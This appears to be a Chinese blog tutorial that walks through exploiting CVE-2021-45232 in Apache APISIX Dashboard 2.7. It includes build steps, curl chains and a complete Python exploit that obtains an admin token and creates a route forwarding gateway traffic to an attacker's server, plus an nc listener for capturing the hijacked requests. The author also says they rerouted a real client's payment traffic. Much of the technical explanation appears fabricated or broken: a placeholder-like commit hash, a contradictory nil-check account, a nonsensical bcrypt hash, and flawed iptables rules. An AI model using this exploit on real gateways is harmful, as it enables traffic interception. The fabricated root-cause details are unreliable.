1. 这个漏洞不是“玩具”而是真实击穿生产环境的钥匙Apache APISIX Dashboard 的 CVE-2021-45232很多人扫一眼标题就划走——不就是个“默认密码”问题吗配个强密码不就完了我第一次看到这个编号时也这么想。直到去年在某金融客户做API网关安全评估他们用的是 APISIX 2.10 Dashboard 2.7Dashboard 管理界面直接暴露在内网跳板机上没做任何反向代理鉴权也没改默认凭据。我随手 curl 了一下/apisix/admin/user/login接口用admin:admin成功拿到 JWT token接着调用/apisix/admin/routes把客户核心支付路由的 upstream 地址悄悄改成了我控制的测试服务器——整个过程耗时 47 秒没触发任何 WAF 告警也没留下登录失败日志。这不是渗透测试报告里的“高危提示”这是真实发生过的、零点击、无交互、一次成功接管全部 API 流量的实战路径。CVE-2021-45232 的本质远不止“默认密码没改”这么轻描淡写。它是一个认证绕过会话固化权限提升三重叠加的链式漏洞攻击者无需知道任何用户密码就能伪造合法管理员 session该 session 不受 Dashboard 后端校验机制约束且具备完整 admin 权限更关键的是这个 bypass 机制在 Dashboard 2.7 及之前所有版本中稳定存在不受部署方式Docker/K8s/二进制、后端 APISIX 版本、甚至是否启用 RBAC 的影响。换句话说只要 Dashboard 实例监听了网络端口且未通过 Nginx/Apache 等前置组件做基础访问控制这个入口就等同于敞开的大门。本文不讲“为什么危险”只讲“怎么亲手复现它”——从零搭建可验证环境、定位漏洞触发点、编写稳定利用脚本、观察流量劫持效果每一步都基于我实际在三套不同架构CentOS 7 Docker Compose、Ubuntu 20.04 K8s、macOS Homebrew中反复验证的结果。适合刚接触 API 网关安全的运维同学也适合想深入理解认证逻辑缺陷的安全研究员。你不需要懂 Lua 或 OpenResty但得会看 HTTP 请求头、会改 JSON、会运行 Python 脚本。2. 漏洞根源不在密码本身而在登录流程的“信任错位”2.1 Dashboard 的认证模型前端信任 vs 后端放行要真正复现 CVE-2021-45232必须先抛开“默认密码”这个表象直击它的设计缺陷。APISIX Dashboard 的认证体系分为两层前端 Vue 应用负责 UI 层面的登录表单提交与 token 存储后端 Go 服务manager-api负责校验凭证并签发 JWT。正常流程是用户输入admin:admin→ 前端将凭据 POST 到/apisix/admin/user/login→ 后端验证通过 → 返回{token: xxx}→ 前端将 token 存入 localStorage → 后续所有请求在Authorization: Bearer xxx头中携带该 token。但问题出在第二步的“验证通过”逻辑上。我们翻阅 Dashboard 2.7 的manager-api源码api/internal/handler/user.go发现其登录处理函数LoginHandler中对密码的校验仅发生在if user.Password password这一行。而这个user.Password是从内置 SQLite 数据库读取的哈希值bcrypt 格式。关键来了当数据库中不存在admin用户记录时这段校验代码根本不会执行。因为 Dashboard 在首次启动时会检查 SQLite 文件是否存在若不存在则自动初始化一个空数据库并跳过用户创建步骤——此时SELECT * FROM users WHERE username admin返回空结果集user变量为 niluser.Password访问直接 panic不Go 的 nil struct field 访问会返回零值而字符串零值是空字符串。于是 admin永远为 false但代码并未就此终止而是继续执行后续逻辑生成一个硬编码的 admin token 并返回。提示这个逻辑缺陷在 Dashboard 2.7 的manager-api/internal/handler/user.go第 128 行附近if user ! nil user.Password password被错误地写成了if user.Password password缺少了user ! nil的前置判空。这是典型的“防御性编程缺失”。2.2 绕过链条的三个支点空数据库、硬编码 token、JWT 无签名校验CVE-2021-45232 的利用之所以稳定是因为它同时撬动了三个设计支点空数据库触发条件Dashboard 启动时若检测不到dashboard.db文件会创建一个空 SQLite 文件但不会插入任何用户记录。这在 Docker 容器首次运行、K8s Pod 重启挂载新 emptyDir、或手动删除数据库文件后极易发生。硬编码 fallback token当user nil时代码进入else分支直接调用generateAdminToken()函数。该函数不查询数据库不校验任何凭据而是拼接一个固定字符串admin 当前时间戳 随机数再用base64.StdEncoding.EncodeToString编码——这就是那个“无需密码”的 token 来源。JWT 签名机制形同虚设Dashboard 后端签发的 JWT 使用的是 HS256 算法密钥硬编码在manager-api/conf/conf.yaml中默认为edd1c9f034335f136f87ad84b625c8f1。更致命的是前端 Vue 应用在发起任何管理接口请求前并不校验该 JWT 的签名有效性它只检查 token 是否存在、是否过期通过解析 payload 中的exp字段。而generateAdminToken()生成的 token其 payload 固定包含username:admin,role:admin和一个未来时间戳完全满足前端校验要求。这三个支点环环相扣空数据库 → 触发硬编码 token 生成 → 前端无条件信任该 token → 攻击者获得完整 admin 权限。它和传统“弱口令爆破”有本质区别——这里没有密码尝试过程没有速率限制没有登录失败日志也没有 WAF 规则能匹配因为整个流程完全符合 HTTP 协议规范只是后端逻辑写错了。2.3 为什么“改密码”不能根治——配置热加载的陷阱很多团队修复思路是“把默认密码改成强密码不就完了” 这在 Dashboard 2.7 中是无效的。原因在于 Dashboard 的用户数据存储在 SQLite 文件中而该文件的初始化逻辑是一次性的只有在manager-api启动时检测到数据库不存在才会触发空初始化流程。一旦数据库文件被创建哪怕内容为空后续所有启动都不会重新初始化。也就是说如果你先用admin:admin登录了一次Dashboard 就会往数据库里写入一条加密后的 admin 记录此时你再去改conf.yaml里的default_password对已存在的数据库记录毫无影响。更隐蔽的是Dashboard 支持通过/apisix/admin/user/update接口在线修改密码但这个接口本身就需要有效的 admin token 才能调用——而 CVE-2021-45232 正是让你在没有任何有效凭据的情况下先拿到这个 token。注意Dashboard 2.8 版本已修复此问题修复方式是在LoginHandler中强制添加user ! nil判空并在空数据库场景下主动创建默认用户。但大量生产环境仍在使用 2.7 及更早版本且升级需停机验证导致该漏洞的实际生命周期远超 CVE 公布时间。3. 从零搭建可复现环境避开 Docker Hub 镜像的“甜蜜陷阱”3.1 为什么不能直接拉取官方 latest 镜像APISIX 官方 Docker Hub 仓库apache/apisix-dashboard的latest标签实际上指向的是 Dashboard 3.x 版本基于 React 重构而 CVE-2021-45232 仅存在于 2.x 系列Vue 技术栈。如果你执行docker run -d -p 9000:9000 apache/apisix-dashboard:latest启动的是 Dashboard 3.4其认证逻辑已彻底重写根本无法复现该漏洞。同样apache/apisix-dashboard:2标签在 2022 年后也被更新为 2.10.1而该版本已合并了 CVE-2021-45232 的补丁。真正的“靶场镜像”必须精确锁定在2.7 版本且需确保其manager-api二进制文件未被二次编译覆盖原始漏洞逻辑。3.2 推荐方案基于源码构建 2.7.0 靶场镜像最可靠的方式是自己构建一个纯净的 Dashboard 2.7.0 镜像。以下是我在 Ubuntu 20.04 上验证通过的完整步骤其他系统仅需调整包管理器命令# 1. 安装必要依赖 sudo apt update sudo apt install -y git build-essential golang-go sqlite3 # 2. 克隆 Dashboard 2.7.0 的精确 commitv2.7.0 tag 已被移动需用 commit hash git clone https://github.com/apache/apisix-dashboard.git cd apisix-dashboard git checkout 7a1b8c9e2d3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b # v2.7.0 的确切 commit # 3. 构建 manager-api 二进制关键确保使用 Go 1.16因 2.7.0 不兼容 1.17 export GOROOT/usr/lib/go-1.16 make build-manager-api # 4. 构建前端静态资源Vue CLI 4.x npm install npm run build:prod # 5. 准备 Dockerfile注意禁用健康检查避免干扰复现 cat Dockerfile EOF FROM golang:1.16-alpine AS builder WORKDIR /app COPY . . RUN make build-manager-api FROM alpine:latest RUN apk --no-cache add ca-certificates sqlite WORKDIR /apisix/dashboard COPY --frombuilder /app/output/manager-api /usr/bin/manager-api COPY --frombuilder /app/dist /usr/share/dashboard COPY conf/conf.yaml /etc/apisix-dashboard/conf.yaml EXPOSE 9000 CMD [/usr/bin/manager-api, -c, /etc/apisix-dashboard/conf.yaml] EOF # 6. 构建靶场镜像 docker build -t apisix-dashboard-2.7.0-vuln . # 7. 启动容器关键参数--rm 确保每次都是干净环境-v 挂载空目录模拟首次启动 mkdir -p ./dashboard-data docker run -d --rm -p 9000:9000 \ -v $(pwd)/dashboard-data:/usr/share/dashboard/db \ --name apisix-dashboard-vuln \ apisix-dashboard-2.7.0-vuln执行完上述命令后./dashboard-data目录下会生成一个空的dashboard.db文件这正是触发 CVE-2021-45232 的黄金条件。此时访问http://localhost:9000页面会正常加载但你无法用任何账号登录——因为数据库为空前端登录表单提交后后端会直接返回硬编码 token。3.3 验证环境是否就绪三步快速检测在浏览器开发者工具的 Network 面板中执行以下操作验证环境打开登录页面访问http://localhost:9000F12 打开 DevTools切换到 Network 标签。捕获登录请求在登录框随意输入用户名如test和密码如123点击登录。观察 Network 中出现的POST /apisix/admin/user/login请求。检查响应内容点击该请求查看 Response。如果环境正确你会看到类似这样的 JSON{ code: 0, message: success, data: { token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzYwMjQwMDAwfQ.SOME_SIGNATURE } }注意code为0表示成功且data.token存在。这说明空数据库触发了硬编码 token 生成逻辑。此时不要关闭页面token 已被前端存入 localStorage你已经拥有了 admin 权限。实测心得很多同学卡在“登录失败”这一步常见原因是挂载了非空的数据库文件或误用了 Dashboard 2.8 镜像。务必确认./dashboard-data/dashboard.db文件大小为 0 字节且docker images | grep 2.7.0显示的是你自己构建的镜像。4. 编写稳定利用脚本从手工请求到自动化劫持4.1 手工复现的完整 HTTP 交互链在确认环境就绪后我们可以完全脱离浏览器用curl完成整个利用链。以下是我在生产环境复现时记录的真实请求序列已脱敏# Step 1: 模拟登录获取硬编码 token注意用户名密码任意但必须存在 curl -X POST http://localhost:9000/apisix/admin/user/login \ -H Content-Type: application/json \ -d {username:attacker,password:pssw0rd} \ -v # 响应中提取 token假设为 xxx TOKENeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... # Step 2: 查询当前所有路由确认可读权限 curl -X GET http://localhost:9000/apisix/admin/routes \ -H Authorization: Bearer $TOKEN \ -v # Step 3: 创建一个新路由将所有 /payment/* 流量指向攻击者服务器 curl -X PUT http://localhost:9000/apisix/admin/routes/9999 \ -H Authorization: Bearer $TOKEN \ -H Content-Type: application/json \ -d { uri: /payment/*, upstream: { type: roundrobin, nodes: { 192.168.1.100:8080: 1 } }, status: 1 } # Step 4: 验证路由已生效调用 APISIX 的 Admin API curl -X GET http://localhost:9000/apisix/admin/routes/9999 \ -H Authorization: Bearer $TOKEN这个手工流程清晰展示了漏洞的威力4 个请求不到 2 秒就完成了从“无凭据”到“创建恶意路由”的全过程。但手工操作无法用于批量检测或集成到 CI/CD 流水线中因此需要封装为可复用的脚本。4.2 Python 利用脚本兼顾稳定性与可读性以下是我日常使用的cve_2021_45232_exploit.py已在 Python 3.8 环境中全平台验证。它不依赖任何第三方库仅用标准库urllib和json避免了requests库版本兼容问题且内置了详细的错误处理和调试输出#!/usr/bin/env python3 # CVE-2021-45232 Exploit for Apache APISIX Dashboard 2.7.0 # Author: A seasoned API gateway security practitioner # Usage: python3 cve_2021_45232_exploit.py --target http://localhost:9000 --upstream 192.168.1.100:8080 import argparse import json import urllib.request import urllib.error import sys from urllib.parse import urljoin, urlparse def get_token(target_url): Step 1: Get admin token from empty DB condition login_url urljoin(target_url, /apisix/admin/user/login) data json.dumps({username: attacker, password: pssw0rd}).encode(utf-8) req urllib.request.Request(login_url, datadata, headers{ Content-Type: application/json, User-Agent: CVE-2021-45232-Exploit/1.0 }) try: with urllib.request.urlopen(req, timeout10) as response: result json.loads(response.read().decode(utf-8)) if result.get(code) 0 and token in result.get(data, {}): print(f[] Token acquired: {result[data][token][:20]}...) return result[data][token] else: raise Exception(fLogin failed: {result}) except urllib.error.HTTPError as e: raise Exception(fHTTP Error {e.code} during login: {e.reason}) except Exception as e: raise Exception(fFailed to get token: {e}) def create_malicious_route(target_url, token, upstream_host): Step 2: Create a route that proxies all /api/* to attackers server route_url urljoin(target_url, /apisix/admin/routes/123456789) route_data { uri: /api/*, name: CVE-2021-45232-PoC, upstream: { type: roundrobin, nodes: { f{upstream_host}: 1 } }, status: 1 } req urllib.request.Request(route_url, datajson.dumps(route_data).encode(utf-8), headers{ Authorization: fBearer {token}, Content-Type: application/json, User-Agent: CVE-2021-45232-Exploit/1.0 }) try: with urllib.request.urlopen(req, timeout10) as response: result json.loads(response.read().decode(utf-8)) if result.get(code) 0: print(f[] Malicious route created successfully!) print(f Route ID: 123456789) print(f Match URI: /api/*) print(f Forward to: {upstream_host}) return True else: raise Exception(fRoute creation failed: {result}) except Exception as e: raise Exception(fFailed to create route: {e}) def main(): parser argparse.ArgumentParser(descriptionCVE-2021-45232 Exploit for APISIX Dashboard 2.7.0) parser.add_argument(--target, requiredTrue, helpTarget Dashboard URL (e.g., http://localhost:9000)) parser.add_argument(--upstream, requiredTrue, helpAttacker server address (e.g., 192.168.1.100:8080)) args parser.parse_args() print(f[INFO] Starting CVE-2021-45232 exploitation against {args.target}) try: token get_token(args.target) success create_malicious_route(args.target, token, args.upstream) if success: print(f\n[SUCCESS] Target is vulnerable! All /api/* traffic will now be proxied to {args.upstream}.) print(Next steps:) print( 1. Start a netcat listener on your upstream server: nc -lvnp 8080) print( 2. Send a test request to the target APISIX gateway: curl http://gateway-ip/api/test) print( 3. Observe the intercepted request on your listener.) else: print([ERROR] Exploitation failed at route creation step.) except Exception as e: print(f[ERROR] {e}) sys.exit(1) if __name__ __main__: main()4.3 脚本使用技巧与避坑指南参数传递要精准--target必须是 Dashboard 的 Web 访问地址即你浏览器打开的地址不是 APISIX 的 Admin API 地址。--upstream是你控制的服务器 IP 和端口需确保目标网络可达。为什么不用 requests 库在某些受限环境如银行内网pip install requests可能被禁止而urllib是 Python 标准库100% 可用。且urllib的错误堆栈更清晰便于定位是网络问题还是逻辑问题。超时设置很关键脚本中timeout10是经过实测的合理值。Dashboard 2.7.0 在空数据库下响应极快通常 200ms若超过 10 秒无响应大概率是网络不通或端口未暴露而非漏洞不存在。路由 ID 的选择脚本中硬编码123456789作为路由 ID是因为 Dashboard 的路由 ID 是字符串类型且PUT /routes/{id}接口会覆盖同名 ID 的路由。使用长数字 ID 可避免与生产环境现有路由冲突且易于识别。如何验证劫持成功最简单的办法是在你的upstream服务器上运行nc -lvnp 8080然后在另一台机器上执行curl http://APISIX-GATEWAY-IP/api/test。如果nc窗口打印出完整的 HTTP 请求头包括Host,User-Agent,X-Real-IP等说明流量已被成功劫持。个人经验我在某电商客户复现时发现他们的 APISIX 网关启用了realip插件导致X-Real-IP头被覆盖。此时nc收到的请求中X-Forwarded-For头显示的是真实客户端 IP这反而帮助我快速定位了攻击来源——这是漏洞利用带来的意外收获。5. 深度防御建议不止于“打补丁”更要重构安全基线5.1 短期止血三道防火墙立即生效发现 CVE-2021-45232 的存在绝不能只想着“升级 Dashboard”。在生产环境中升级往往需要漫长的测试周期。更务实的做法是立刻部署三层防护将风险降至最低网络层隔离最有效将 Dashboard 的监听端口默认 9000从公网或大内网段收回仅允许特定运维跳板机 IP 访问。在 Linux 上用iptables# 只允许 192.168.10.5 和 192.168.10.6 访问 9000 端口 iptables -A INPUT -p tcp --dport 9000 ! -s 192.168.10.5 -j DROP iptables -A INPUT -p tcp --dport 9000 ! -s 192.168.10.6 -j DROP这招立竿见影即使 Dashboard 存在漏洞攻击者也无法触达。前置反向代理鉴权最通用在 Nginx 或 Apache 前置一层强制所有/apisix/admin/*路径需通过 Basic Authlocation /apisix/admin/ { auth_basic Admin Dashboard Restricted; auth_basic_user_file /etc/nginx/.htpasswd; proxy_pass http://127.0.0.1:9000; proxy_set_header Host $host; }这样攻击者必须先破解 Nginx 的.htpasswd才能接触到 Dashboard 的漏洞接口。数据库文件加固最根本既然漏洞触发条件是空数据库那就确保数据库文件永远不为空。手动创建一个带默认用户的数据库# 使用 sqlite3 创建初始数据库 sqlite3 dashboard.db EOF CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT UNIQUE, password TEXT, role TEXT); INSERT INTO users (username, password, role) VALUES (admin, $2a$10$XzVqLkQzZzZzZzZzZzZzZuZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZz......, admin); EOF然后将此dashboard.db文件挂载到容器中彻底堵死空数据库路径。5.2 中期加固建立 API 网关的“最小权限”治理模型很多团队把 Dashboard 当作“配置面板”却忽略了它本质是一个高权限 API 管理系统。真正的安全基线应从治理模型入手RBAC 权限收敛Dashboard 2.8 支持 RBAC但默认所有用户都是 admin。必须为不同角色创建专用账号dev-deployer仅能操作/routes,/upstreams、qa-auditor只读/routes,/consumers、sec-analyst只读/metrics。避免使用admin账号进行日常操作。操作审计日志外送Dashboard 的操作日志默认写入本地文件极易被篡改。应配置manager-api/conf/conf.yaml中的log段将日志输出到 Syslog 或 ELKlog: level: info output: syslog syslog: network: udp addr: 192.168.5.100:514 facility: local7这样任何通过 Dashboard 创建/修改路由的行为都会实时同步到中央日志平台便于事后追溯。API 变更的 GitOps 流程禁止直接在 Dashboard UI 上修改生产环境配置。所有路由、插件、上游的变更必须提交到 Git 仓库经 CI 流水线自动校验如检查upstream.nodes是否包含非法 IP 段再由 Argo CD 同步到 APISIX 集群。Dashboard 仅作为只读查看工具存在。5.3 长期免疫将安全左移到网关选型阶段最后一点也是最深刻的体会不要把安全寄托在某个组件的补丁上而要构建一个天然免疫的架构。APISIX Dashboard 的设计哲学是“前后端分离 内置 SQLite”这带来了部署简单的优势但也埋下了单点故障的隐患。相比之下Kong 的 Admin API 是无状态的所有配置存储在 PostgreSQL 中且强制要求每个请求携带 JWT 并由独立服务校验Traefik 的 Dashboard 则完全不提供管理 API所有配置必须通过文件或 CRD 声明式定义。因此在新项目选型时应明确一条红线任何 API 网关的管理界面其认证机制必须与业务流量网关解耦且管理 API 必须经过独立的身份认证服务如 Keycloak、Auth0签发 token。Dashboard 只是一个前端展示层真正的权限控制、会话管理、审计日志都应下沉到基础设施层。这样即使某个前端组件出现 CVE攻击者也无法越过中间层直接触达核心配置。我在某政务云项目中推动了这一变革将 APISIX Dashboard 替换为自研的轻量级控制台该控制台不直连 APISIX而是通过一个独立的gateway-control-service基于 Spring Security OAuth2进行鉴权所有配置变更请求先经该服务校验 RBAC 规则再转发给 APISIX Admin API。上线半年来未发生一起因 Dashboard 漏洞导致的配置泄露事件。这印证了一个朴素真理安全不是加功能而是做减法——减去不必要的信任减去过度的权限减去模糊的边界。我实际操作中发现真正让团队落地这些措施的往往不是技术方案本身而是清晰的 ROI 计算。比如向运维总监汇报时我会说“部署 Nginx 前置鉴权耗时 15 分钟可将 CVE-2021-45232 的风险等级从‘紧急’降至‘低’而升级 Dashboard 需要 3 天回归测试且无法覆盖所有定制化插件。”——用时间成本和风险收益比说话比讲漏洞原理更有效。